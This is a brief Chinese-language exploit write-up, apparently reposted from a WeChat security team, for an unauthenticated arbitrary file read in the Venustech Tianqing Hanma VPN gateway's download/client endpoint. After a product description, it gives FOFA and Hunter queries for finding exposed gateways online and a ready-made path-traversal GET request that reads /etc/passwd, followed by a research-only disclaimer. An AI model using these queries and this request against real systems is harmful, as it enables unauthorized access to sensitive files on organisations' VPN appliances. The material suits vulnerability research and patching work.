漏洞描述
天清汉马VPN安全网关系统产品是启明星辰集团依靠雄厚的技术优势，依靠多年信息安全产品研发的积累，严格遵照国家有关主管部门的设计规范要求，具有完全自主知识产权的SSL/IPSec 二合一VPN安全网关系统，为用户提供安全的传输链路加密服务。其download/client接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件。
漏洞复现
1）信息收集
fofa：app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN"hunter：app.name=="启明星辰天清汉马 VPN"||(body="select_auth_method"&&body="select_auth_input")||web.icon="ab09fbf7665449fc97bf31a8abcc36e6"
构造数据包
GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1Host:ip
转发文档地址在原文链接：
原文始发于微信公众号（Rot5pider安全团队）：天清汉马VPN安全网关系统——download/client——任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论